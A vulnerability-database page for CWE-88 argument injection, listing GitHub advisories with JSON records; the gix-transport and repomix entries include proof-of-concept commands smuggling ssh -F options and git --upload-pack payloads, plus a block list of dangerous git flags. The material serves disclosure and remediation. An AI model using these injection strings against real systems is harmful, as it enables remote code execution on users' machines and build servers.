CWE-88
AllowedImproper Neutralization of Argument Delimiters in a Command ('Argument Injection')
Abstraction: Base · Status: Draft
The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string.
625 vulnerabilities reference this CWE, most recent first.
GHSA-97GQ-9PF7-VWVC
Vulnerability from github – Published: 2022-05-24 19:02 – Updated: 2022-05-24 19:02In JetBrains TeamCity before 2020.2.3, argument injection leading to remote code execution was possible.
{
"affected": [],
"aliases": [
"CVE-2021-31909"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-05-11T12:15:00Z",
"severity": "CRITICAL"
},
"details": "In JetBrains TeamCity before 2020.2.3, argument injection leading to remote code execution was possible.",
"id": "GHSA-97gq-9pf7-vwvc",
"modified": "2022-05-24T19:02:08Z",
"published": "2022-05-24T19:02:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-31909"
},
{
"type": "WEB",
"url": "https://blog.jetbrains.com"
},
{
"type": "WEB",
"url": "https://blog.jetbrains.com/blog/2021/05/07/jetbrains-security-bulletin-q1-2021"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-97VG-W35F-V8MJ
Vulnerability from github – Published: 2022-05-24 17:33 – Updated: 2022-05-24 17:33A vulnerability in the remote management feature of Cisco SD-WAN vManage Software could allow an authenticated, local attacker to inject arbitrary commands and potentially gain elevated privileges. The vulnerability is due to improper validation of commands to the remote management CLI of the affected application. An attacker could exploit this vulnerability by sending malicious requests to the affected application. A successful exploit could allow the attacker to inject arbitrary commands and potentially gain elevated privileges.
{
"affected": [],
"aliases": [
"CVE-2020-27129"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-11-06T19:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability in the remote management feature of Cisco SD-WAN vManage Software could allow an authenticated, local attacker to inject arbitrary commands and potentially gain elevated privileges. The vulnerability is due to improper validation of commands to the remote management CLI of the affected application. An attacker could exploit this vulnerability by sending malicious requests to the affected application. A successful exploit could allow the attacker to inject arbitrary commands and potentially gain elevated privileges.",
"id": "GHSA-97vg-w35f-v8mj",
"modified": "2022-05-24T17:33:19Z",
"published": "2022-05-24T17:33:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-27129"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-vmanage-privilege-zPmMf73k"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-98HC-4M3W-636X
Vulnerability from github – Published: 2022-05-14 01:54 – Updated: 2022-05-14 01:54kernel/omap/drivers/misc/gcx/gcioctl/gcif.c in the kernel component in Amazon Kindle Fire HD (3rd) Fire OS 4.5.5.3 allows attackers to inject a crafted argument via the argument of an ioctl on device /dev/gcioctl with the command 1077435789 and cause a kernel crash.
{
"affected": [],
"aliases": [
"CVE-2018-11024"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-10-16T22:29:00Z",
"severity": "HIGH"
},
"details": "kernel/omap/drivers/misc/gcx/gcioctl/gcif.c in the kernel component in Amazon Kindle Fire HD (3rd) Fire OS 4.5.5.3 allows attackers to inject a crafted argument via the argument of an ioctl on device /dev/gcioctl with the command 1077435789 and cause a kernel crash.",
"id": "GHSA-98hc-4m3w-636x",
"modified": "2022-05-14T01:54:10Z",
"published": "2022-05-14T01:54:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-11024"
},
{
"type": "WEB",
"url": "https://github.com/datadancer/HIAFuzz/blob/master/CVEs.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-98P4-XJMM-8MFH
Vulnerability from github – Published: 2024-04-15 19:33 – Updated: 2024-07-05 18:07Summary
gix-transport does not check the username part of a URL for text that the external ssh program would interpret as an option. A specially crafted clone URL can smuggle options to SSH. The possibilities are syntactically limited, but if a malicious clone URL is used by an application whose current working directory contains a malicious file, arbitrary code execution occurs.
Details
This is related to the patched vulnerability https://github.com/advisories/GHSA-rrjw-j4m2-mf34, but appears less severe due to a greater attack complexity. Since https://github.com/Byron/gitoxide/pull/1032, gix-transport checks the host and path portions of a URL for text that has a - in a position that will cause ssh to interpret part of all of the URL as an option argument. But it does not check the non-mandatory username portion of the URL.
As in Git, when an address is a URL of the form ssh://username@hostname/path, or when it takes the special form username@hostname:dirs/repo, this is treated as an SSH URL. gix-transport will replace some characters in username with their %-based URL encodings, but otherwise passes username@hostname as an argument to the external ssh command. This happens even if username begins with a hyphen. In that case, ssh treats that argument as an option argument, and attempts to interpret and honor it as a sequence of one or more options possibly followed by an operand for the last option.
This is harder to exploit than GHSA-rrjw-j4m2-mf34, because the possibilities are constrained by:
- The difficulty of forming an option argument
sshaccepts, given that characters such as=,/, and\, are URL-encoded,:is removed, and the argument passed tosshcontains the@sign and subsequent host identifier, which in an effective attack must be parseable as a suffix of the operand passed to the last option.
The inability to include a literal = prevents the use of -oNAME=VALUE (e.g., -oProxyCommand=payload). The inability to include a literal / or \ prevents smuggling in a path operand residing outside the current working directory, incuding on Windows. (Although a ~ character may be smuggled in, ssh does not perform its own tilde expansion, so it does not form an absolute path.)
- The difficulty, or perhaps impossibility, of completing a connection (other than when arbitrary code execution has been achieved). This complicates or altogether prevents the use of options such as
-Aand-Xtogether with a connection to a real but malicious server. The reason a connection cannot generally be completed when exploiting this vulnerability is that, because the argumentgix-transportintends as a URL is treated as an option argument,sshtreats the subsequent non-option argumentgit-upload-packas the host instead of the command, but it is not a valid host name.
Although ssh supports aliases for hosts, even if git-upload-pack could be made an alias, that is made difficult by the URL-encoding transformation.
However, an attacker who is able to cause a specially named ssh configuration file to be placed in the current working directory can smuggle in an -F option referencing the file, and this allows arbitrary command execution.
This scenario is especially plausible because programs that operate on git repositories are often run in untrusted git repositories, sometimes even to operate on another repository. Situations where this is likely, such that an attacker could predict or arrange it, may for some applications include a malicious repository with a malicious submodule configuration.
Other avenues of exploitation exist, but appear to be less severe. For example, the -E option can be smuggled to create or append to a file in the current directory (or its target, if it is a symlink). There may also be other significant ways to exploit this that have not yet been discovered, or that would arise with new options in future versions of ssh.
PoC
To reproduce the known case that facilitates arbitrary code execution, first create a file in the current directory named configfile@example.com, of the form
ProxyCommand payload
where payload is a command with an observable side effect. On Unix-like systems, this could be date | tee vulnerable or an xdg-open, open, or other command command to launch a graphical application. On Windows, this could be the name of a graphical application already in the search path, such as calc.exe.
(Although the syntax permitted in the value of ProxyCommand may vary by platform, this is not limited to running commands in the current directory. That limitation only applies to paths directly smuggled in the username, not to the contents of a separate malicious configuration file. Arbitrary other settings may be specified in configfile@example.com as well.)
Then run:
gix clone 'ssh://-Fconfigfile@example.com/abc'
Or:
gix clone -- '-Fconfigfile@example.com:abc/def'
(The -- is required to ensure that gix is really passing the argument as a URL for use in gix-transport, rather than interpreting it as an option itself, which would not necessarily be a vulnerability.)
In either case, the payload specified in configfile@example.com runs, and its side effect can be observed.
Other cases may likewise be produced, in either of the above two forms of SSH addresses. For example, to create or append to the file errors@example.com, or to create or append to its target if it is a symlink:
gix clone 'ssh://-Eerrors@example.com/abc'
gix clone -- '-Eerrors@example.com:abc/def'
Impact
As in https://github.com/advisories/GHSA-rrjw-j4m2-mf34, this would typically require user interaction to trigger an attempt to clone or otherwise connect using the malicious URL. Furthermore, known means of exploiting this vulnerability to execute arbitrary commands require further preparatory steps to establish a specially named file in the current directory. The impact is therefore expected to be lesser, though it is difficult to predict it with certainty because it is not known exactly what scenarios will arise when using the gix-transport library.
Users who use applications that make use of gix-transport are potentially vulnerable, especially:
- On repositories with submodules that are automatically added, depending how the application manages submodules.
- When operating on other repositories from inside an untrusted repository.
- When reviewing contributions from untrusted developers by checking out a branch from an untrusted fork and performing clones from that location.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "gix-transport"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.42.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "gix"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.62"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "gitoxide"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.35"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-32884"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-88"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-15T19:33:03Z",
"nvd_published_at": "2024-04-26T18:15:46Z",
"severity": "MODERATE"
},
"details": "### Summary\n\n`gix-transport` does not check the username part of a URL for text that the external `ssh` program would interpret as an option. A specially crafted clone URL can smuggle options to SSH. The possibilities are syntactically limited, but if a malicious clone URL is used by an application whose current working directory contains a malicious file, arbitrary code execution occurs.\n\n### Details\n\nThis is related to the patched vulnerability https://github.com/advisories/GHSA-rrjw-j4m2-mf34, but appears less severe due to a greater attack complexity. Since https://github.com/Byron/gitoxide/pull/1032, `gix-transport` checks the host and path portions of a URL for text that has a `-` in a position that will cause `ssh` to interpret part of all of the URL as an option argument. But it does not check the non-mandatory username portion of the URL.\n\nAs in Git, when an address is a URL of the form `ssh://username@hostname/path`, or when it takes the special form `username@hostname:dirs/repo`, this is treated as an SSH URL. `gix-transport` will replace some characters in `username` with their `%`-based URL encodings, but otherwise passes `username@hostname` as an argument to the external `ssh` command. This happens even if `username` begins with a hyphen. In that case, `ssh` treats that argument as an option argument, and attempts to interpret and honor it as a sequence of one or more options possibly followed by an operand for the last option.\n\nThis is harder to exploit than GHSA-rrjw-j4m2-mf34, because the possibilities are constrained by:\n\n- The difficulty of forming an option argument `ssh` accepts, given that characters such as `=`, `/`, and `\\`, are URL-encoded, `:` is removed, and the argument passed to `ssh` contains the `@` sign and subsequent host identifier, which in an effective attack must be parseable as a suffix of the operand passed to the last option.\n\n The inability to include a literal `=` prevents the use of `-oNAME=VALUE` (e.g., `-oProxyCommand=payload`). The inability to include a literal `/` or `\\` prevents smuggling in a path operand residing outside the current working directory, incuding on Windows. (Although a `~` character may be smuggled in, `ssh` does not perform its own tilde expansion, so it does not form an absolute path.)\n\n- The difficulty, or perhaps impossibility, of completing a connection (other than when arbitrary code execution has been achieved). This complicates or altogether prevents the use of options such as `-A` and `-X` together with a connection to a real but malicious server. The reason a connection cannot generally be completed when exploiting this vulnerability is that, because the argument `gix-transport` intends as a URL is treated as an option argument, `ssh` treats the subsequent non-option argument `git-upload-pack` as the host instead of the command, but it is not a valid host name.\n\n Although `ssh` supports aliases for hosts, even if `git-upload-pack` could be made an alias, that is made difficult by the URL-encoding transformation.\n\nHowever, an attacker who is able to cause a specially named `ssh` configuration file to be placed in the current working directory can smuggle in an `-F` option referencing the file, and this allows arbitrary command execution.\n\nThis scenario is especially plausible because programs that operate on git repositories are often run in untrusted git repositories, sometimes even to operate on another repository. Situations where this is likely, such that an attacker could predict or arrange it, may for some applications include a malicious repository with a malicious submodule configuration.\n\nOther avenues of exploitation exist, but appear to be less severe. For example, the `-E` option can be smuggled to create or append to a file in the current directory (or its target, if it is a symlink). There may also be other significant ways to exploit this that have not yet been discovered, or that would arise with new options in future versions of `ssh`.\n\n### PoC\n\nTo reproduce the known case that facilitates arbitrary code execution, first create a file in the current directory named `configfile@example.com`, of the form\n\n```text\nProxyCommand payload\n```\n\nwhere `payload` is a command with an observable side effect. On Unix-like systems, this could be `date | tee vulnerable` or an `xdg-open`, `open`, or other command command to launch a graphical application. On Windows, this could be the name of a graphical application already in the search path, such as `calc.exe`.\n\n(Although the syntax permitted in the value of `ProxyCommand` may vary by platform, this is not limited to running commands in the current directory. That limitation only applies to paths directly smuggled in the username, not to the contents of a separate malicious configuration file. Arbitrary other settings may be specified in `configfile@example.com` as well.)\n\nThen run:\n\n```sh\ngix clone \u0027ssh://-Fconfigfile@example.com/abc\u0027\n```\n\nOr:\n\n```sh\ngix clone -- \u0027-Fconfigfile@example.com:abc/def\u0027\n```\n\n(The `--` is required to ensure that `gix` is really passing the argument as a URL for use in `gix-transport`, rather than interpreting it as an option itself, which would not necessarily be a vulnerability.)\n\nIn either case, the payload specified in `configfile@example.com` runs, and its side effect can be observed.\n\nOther cases may likewise be produced, in either of the above two forms of SSH addresses. For example, to create or append to the file `errors@example.com`, or to create or append to its target if it is a symlink:\n\n```sh\ngix clone \u0027ssh://-Eerrors@example.com/abc\u0027\n```\n\n```sh\ngix clone -- \u0027-Eerrors@example.com:abc/def\u0027\n```\n\n### Impact\n\nAs in https://github.com/advisories/GHSA-rrjw-j4m2-mf34, this would typically require user interaction to trigger an attempt to clone or otherwise connect using the malicious URL. Furthermore, known means of exploiting this vulnerability to execute arbitrary commands require further preparatory steps to establish a specially named file in the current directory. The impact is therefore expected to be lesser, though it is difficult to predict it with certainty because it is not known exactly what scenarios will arise when using the `gix-transport` library.\n\nUsers who use applications that make use of `gix-transport` are potentially vulnerable, especially:\n\n- On repositories with submodules that are automatically added, depending how the application manages submodules.\n- When operating on other repositories from inside an untrusted repository.\n- When reviewing contributions from untrusted developers by checking out a branch from an untrusted fork and performing clones from that location.\n",
"id": "GHSA-98p4-xjmm-8mfh",
"modified": "2024-07-05T18:07:37Z",
"published": "2024-04-15T19:33:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Byron/gitoxide/security/advisories/GHSA-98p4-xjmm-8mfh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32884"
},
{
"type": "PACKAGE",
"url": "https://github.com/Byron/gitoxide"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2024-0335.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "gix-transport indirect code execution via malicious username"
}
GHSA-9CG4-J3W9-FWPH
Vulnerability from github – Published: 2022-05-01 06:53 – Updated: 2022-05-01 06:53Argument injection vulnerability in Beagle before 0.2.5 allows attackers to execute arbitrary commands via crafted filenames that inject command line arguments when Beagle launches external helper applications while indexing.
{
"affected": [],
"aliases": [
"CVE-2006-1865"
],
"database_specific": {
"cwe_ids": [
"CWE-88",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2006-04-21T23:06:00Z",
"severity": "HIGH"
},
"details": "Argument injection vulnerability in Beagle before 0.2.5 allows attackers to execute arbitrary commands via crafted filenames that inject command line arguments when Beagle launches external helper applications while indexing.",
"id": "GHSA-9cg4-j3w9-fwph",
"modified": "2022-05-01T06:53:37Z",
"published": "2022-05-01T06:53:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2006-1865"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=189282"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/26104"
},
{
"type": "WEB",
"url": "http://lists.seifried.org/pipermail/security/2006-April/013163.html"
},
{
"type": "WEB",
"url": "http://scary.beasts.org/security/CESA-2006-002.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/19778"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/19781"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/19897"
},
{
"type": "WEB",
"url": "http://www.novell.com/linux/security/advisories/2006_04_28.html"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/24938"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/17611"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-9H96-28M7-7H3G
Vulnerability from github – Published: 2022-04-29 01:27 – Updated: 2025-04-03 03:59Help and Support Center in Microsoft Windows XP SP1 does not properly validate HCP URLs, which allows remote attackers to execute arbitrary code via quotation marks in an hcp:// URL, which are not quoted when constructing the argument list to HelpCtr.exe.
{
"affected": [],
"aliases": [
"CVE-2003-0907"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2004-06-01T04:00:00Z",
"severity": "MODERATE"
},
"details": "Help and Support Center in Microsoft Windows XP SP1 does not properly validate HCP URLs, which allows remote attackers to execute arbitrary code via quotation marks in an hcp:// URL, which are not quoted when constructing the argument list to HelpCtr.exe.",
"id": "GHSA-9h96-28m7-7h3g",
"modified": "2025-04-03T03:59:27Z",
"published": "2022-04-29T01:27:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2003-0907"
},
{
"type": "WEB",
"url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2004/ms04-011"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/15704"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1000"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A904"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval:org.mitre.oval:def:1000"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval:org.mitre.oval:def:904"
},
{
"type": "WEB",
"url": "http://lists.grok.org.uk/pipermail/full-disclosure/2004-April/020065.html"
},
{
"type": "WEB",
"url": "http://marc.info/?l=bugtraq\u0026m=108196864221676\u0026w=2"
},
{
"type": "WEB",
"url": "http://www.ciac.org/ciac/bulletins/o-114.shtml"
},
{
"type": "WEB",
"url": "http://www.idefense.com/application/poi/display?id=100\u0026type=vulnerabilities"
},
{
"type": "WEB",
"url": "http://www.kb.cert.org/vuls/id/260588"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/10119"
},
{
"type": "WEB",
"url": "http://www.us-cert.gov/cas/techalerts/TA04-104A.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-9HRM-R87R-GQ63
Vulnerability from github – Published: 2024-06-10 15:31 – Updated: 2025-09-16 18:31Argument Injection Leading to Remote Code Execution in Realtime Graph Extension, allowing unauthenticated attackers to execute arbitrary code on the server. This issue affects Pandora FMS: from 700 through <777.
{
"affected": [],
"aliases": [
"CVE-2024-35307"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-10T15:15:51Z",
"severity": "CRITICAL"
},
"details": "Argument Injection Leading to Remote Code Execution in Realtime Graph Extension,\u00a0allowing unauthenticated attackers to execute arbitrary code on the server.\u00a0This issue affects Pandora FMS: from 700 through \u003c777.",
"id": "GHSA-9hrm-r87r-gq63",
"modified": "2025-09-16T18:31:19Z",
"published": "2024-06-10T15:31:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-35307"
},
{
"type": "WEB",
"url": "https://pandorafms.com/en/security/common-vulnerabilities-and-exposures"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:U/V:X/RE:L/U:Amber",
"type": "CVSS_V4"
}
]
}
GHSA-9J7C-3668-HR3C
Vulnerability from github – Published: 2022-05-24 19:14 – Updated: 2022-05-24 19:14A vulnerability in the SSH Server process of Cisco IOS XR Software could allow an authenticated, remote attacker to overwrite and read arbitrary files on the local device. This vulnerability is due to insufficient input validation of arguments that are supplied by the user for a specific file transfer method. An attacker with lower-level privileges could exploit this vulnerability by specifying Secure Copy Protocol (SCP) parameters when authenticating to a device. A successful exploit could allow the attacker to elevate their privileges and retrieve and upload files on a device that they should not have access to.
{
"affected": [],
"aliases": [
"CVE-2021-34718"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-09-09T05:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability in the SSH Server process of Cisco IOS XR Software could allow an authenticated, remote attacker to overwrite and read arbitrary files on the local device. This vulnerability is due to insufficient input validation of arguments that are supplied by the user for a specific file transfer method. An attacker with lower-level privileges could exploit this vulnerability by specifying Secure Copy Protocol (SCP) parameters when authenticating to a device. A successful exploit could allow the attacker to elevate their privileges and retrieve and upload files on a device that they should not have access to.",
"id": "GHSA-9j7c-3668-hr3c",
"modified": "2022-05-24T19:14:06Z",
"published": "2022-05-24T19:14:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-34718"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxr-scp-inject-QwZOCv2"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-9M22-MQRH-X6C3
Vulnerability from github – Published: 2022-05-24 22:28 – Updated: 2022-05-24 22:28Within the function HandleFileArg the argument filepattern is under control of the user who passes it in from the command line. filepattern is passed directly to strlen to determine the ending location of the char passed in by the user, no checks are done to see if the passed in char is longer than the staticly sized buffer data is memcpy‘d into, but after the memcpy a null byte is written to what is assumed to be the end of the buffer to terminate the char*, but without length checks, this null write occurs at an arbitrary offset from the buffer. An attacker can provide malicious input to trigger this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2021-21814"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-08-13T23:15:00Z",
"severity": "HIGH"
},
"details": "Within the function HandleFileArg the argument filepattern is under control of the user who passes it in from the command line. filepattern is passed directly to strlen to determine the ending location of the char* passed in by the user, no checks are done to see if the passed in char* is longer than the staticly sized buffer data is memcpy\u2018d into, but after the memcpy a null byte is written to what is assumed to be the end of the buffer to terminate the char*, but without length checks, this null write occurs at an arbitrary offset from the buffer. An attacker can provide malicious input to trigger this vulnerability.",
"id": "GHSA-9m22-mqrh-x6c3",
"modified": "2022-05-24T22:28:30Z",
"published": "2022-05-24T22:28:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21814"
},
{
"type": "WEB",
"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2021-1280"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9MM9-RQHJ-J5MX
Vulnerability from github – Published: 2026-07-01 19:00 – Updated: 2026-07-01 19:00Vulnerability Metadata
| Field | Detail |
|---|---|
| Affected Component | src/core/git/gitCommand.ts (execGitShallowClone) |
| Impact | Arbitrary Command Execution / Security Control Bypass |
Summary
The --remote-branch CLI option in repomix is vulnerable to argument injection. User-supplied input is passed directly to git fetch and git checkout subprocesses via child_process.execFileAsync without sanitization, -- delimiters, or validation.
An attacker can inject arbitrary git command-line options. By injecting the --upload-pack option and specifying an SSH (git@...) or local (file://) remote URL, an attacker achieves arbitrary command execution with the privileges of the user running repomix. This bypasses the existing dangerousParams blocklist implemented in validateGitUrl().
Vulnerable Code Analysis
File: src/core/git/gitCommand.ts
The remoteBranch parameter is appended directly to the arguments array for git subprocesses without the -- positional delimiter.
Sink 1 (Lines 118-127):
await deps.execFileAsync(
'git',
['-C', directory, 'fetch', '--depth', '1', 'origin', remoteBranch], // Vulnerable
gitRemoteOpts,
);
Sink 2 (Lines 148-151):
await deps.execFileAsync('git', ['-C', directory, 'checkout', remoteBranch]); // Vulnerable
Bypassed Security Control (Lines 192-197):
The application attempts to prevent this exact vulnerability class by blocking dangerous parameters (--upload-pack, --receive-pack, --config, --exec) within the validateGitUrl function. However, this validation is exclusively applied to the url variable and omitted for remoteBranch, creating a direct bypass.
Attack Flow
[Source] repomix --remote-branch <injected_option>
↓
src/cli/actions/remoteAction.ts:226 (cloneRepository)
↓
src/core/git/gitCommand.ts:118 (execGitShallowClone)
↓
[Sink] execFileAsync('git', ['...', 'origin', '--upload-pack=/tmp/payload'])
↓
[Execution] git invokes the payload binary via transport helper
Proof of Concept (Steps to Reproduce)
1. Create the Payload Create an executable bash script that writes system execution context to a file. (Reference: Screenshot_2026-05-18_13_02_16.png)
cat > /tmp/malicious-pack << 'EOF'
#!/bin/bash
echo "=== RCE EXECUTED ===" > /tmp/repomix-pwned.txt
id >> /tmp/repomix-pwned.txt
EOF
chmod +x /tmp/malicious-pack
2. Trigger the Vulnerability
Establish a dummy remote and trigger the fetch operation, injecting the --upload-pack argument.
(Reference: Screenshot_2026-05-18_13_08_36.png)
# Setup dummy bare remote
git init --bare /tmp/dummy-remote.git
# Initialize local repo and add remote
mkdir /tmp/test-fetch && cd /tmp/test-fetch
git init
git remote add origin file:///tmp/dummy-remote.git
# Execute vulnerability
git fetch --upload-pack=/tmp/malicious-pack origin 2>&1
3. Verify Execution
Execution occurs prior to git protocol validation. The script executes successfully despite the fetch operation returning a 128 exit code.
cat /tmp/repomix-pwned.txt
Expected Output:
=== RCE EXECUTED ===
uid=1000(kakashi) gid=1000(kakashi) groups=1000(kakashi)...
End-to-End Execution via Repomix:
repomix --remote git@github.com:yamadashy/repomix.git --remote-branch '--upload-pack=/tmp/malicious-pack'
Impact
- Remote Code Execution: Complete system compromise with the privileges of the user executing
repomix. - CI/CD Compromise: If
repomixis utilized in automated pipelines where--remote-branchis populated by external triggers (e.g., webhook payloads, PR titles), attackers can compromise build servers and exfiltrate secrets.
Remediation
1. Implement Positional Delimiters (Primary Fix)
Append the -- delimiter to explicitly separate options from positional arguments in all git subprocess calls utilizing remoteBranch.
await deps.execFileAsync(
'git',
['-C', directory, 'fetch', '--depth', '1', 'origin', '--', remoteBranch],
gitRemoteOpts,
);
2. Apply Existing Blocklist to Branch Parameter (Defense in Depth)
Update execGitShallowClone to validate remoteBranch against the existing dangerousParams array.
const dangerousParams = ['--upload-pack', '--receive-pack', '--config', '--exec'];
if (remoteBranch && dangerousParams.some((param) => remoteBranch.includes(param))) {
throw new RepomixError(`Invalid branch name. Contains potentially dangerous parameters: ${remoteBranch}`);
}
Attachments
Screenshot 1: Payload script created with executable permissions.
Screenshot 2: Vulnerable Code
Screenshot 3: Verifying RCE.
Credits
This vulnerability was discovered and responsibly disclosed by: - Researcher: Abhijith S. - GitHub: @kakashi-kx - HackerOne/Bugcrowd: kakashi4kx
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "repomix"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.14.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49987"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-01T19:00:50Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Vulnerability Metadata\n\n| Field | Detail |\n| --- | --- |\n| **Affected Component** | `src/core/git/gitCommand.ts` (`execGitShallowClone`) |\n| **Impact** | Arbitrary Command Execution / Security Control Bypass |\n\n### Summary\n\nThe `--remote-branch` CLI option in `repomix` is vulnerable to argument injection. User-supplied input is passed directly to `git fetch` and `git checkout` subprocesses via `child_process.execFileAsync` without sanitization, `--` delimiters, or validation.\n\nAn attacker can inject arbitrary git command-line options. By injecting the `--upload-pack` option and specifying an SSH (`git@...`) or local (`file://`) remote URL, an attacker achieves arbitrary command execution with the privileges of the user running `repomix`. This bypasses the existing `dangerousParams` blocklist implemented in `validateGitUrl()`.\n\n### Vulnerable Code Analysis\n\n**File:** `src/core/git/gitCommand.ts`\n\nThe `remoteBranch` parameter is appended directly to the arguments array for git subprocesses without the `--` positional delimiter.\n\n**Sink 1 (Lines 118-127):**\n\n```typescript\nawait deps.execFileAsync(\n \u0027git\u0027,\n [\u0027-C\u0027, directory, \u0027fetch\u0027, \u0027--depth\u0027, \u00271\u0027, \u0027origin\u0027, remoteBranch], // Vulnerable\n gitRemoteOpts,\n);\n\n```\n\n**Sink 2 (Lines 148-151):**\n\n```typescript\nawait deps.execFileAsync(\u0027git\u0027, [\u0027-C\u0027, directory, \u0027checkout\u0027, remoteBranch]); // Vulnerable\n\n```\n\n**Bypassed Security Control (Lines 192-197):**\nThe application attempts to prevent this exact vulnerability class by blocking dangerous parameters (`--upload-pack`, `--receive-pack`, `--config`, `--exec`) within the `validateGitUrl` function. However, this validation is exclusively applied to the `url` variable and omitted for `remoteBranch`, creating a direct bypass.\n\n### Attack Flow\n\n```text\n[Source] repomix --remote-branch \u003cinjected_option\u003e\n \u2193\nsrc/cli/actions/remoteAction.ts:226 (cloneRepository)\n \u2193\nsrc/core/git/gitCommand.ts:118 (execGitShallowClone)\n \u2193\n[Sink] execFileAsync(\u0027git\u0027, [\u0027...\u0027, \u0027origin\u0027, \u0027--upload-pack=/tmp/payload\u0027])\n \u2193\n[Execution] git invokes the payload binary via transport helper\n\n```\n\n### Proof of Concept (Steps to 